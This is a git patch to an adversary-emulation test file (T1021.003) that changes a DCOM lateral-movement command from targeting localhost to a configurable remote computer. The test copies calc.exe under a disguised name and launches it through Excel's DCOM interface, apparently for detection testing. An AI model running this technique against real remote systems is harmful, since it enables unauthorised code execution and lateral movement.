From 60fe9e1b3f89077afd03bd45cdaea0ede8b5cf1b Mon Sep 17 00:00:00 2001 From: Kostas Date: Thu, 2 Nov 2023 20:22:49 -0700 Subject: [PATCH] Update T1021.003.yaml --- atomics/T1021.003/T1021.003.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1021.003/T1021.003.yaml b/atomics/T1021.003/T1021.003.yaml index e9f822f03b..00af884c1f 100644 --- a/atomics/T1021.003/T1021.003.yaml +++ b/atomics/T1021.003/T1021.003.yaml @@ -58,6 +58,6 @@ atomic_tests: executor: command: | copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe' - $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost")) + $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}")) $com.ActivateMicrosoftApp("5") name: powershell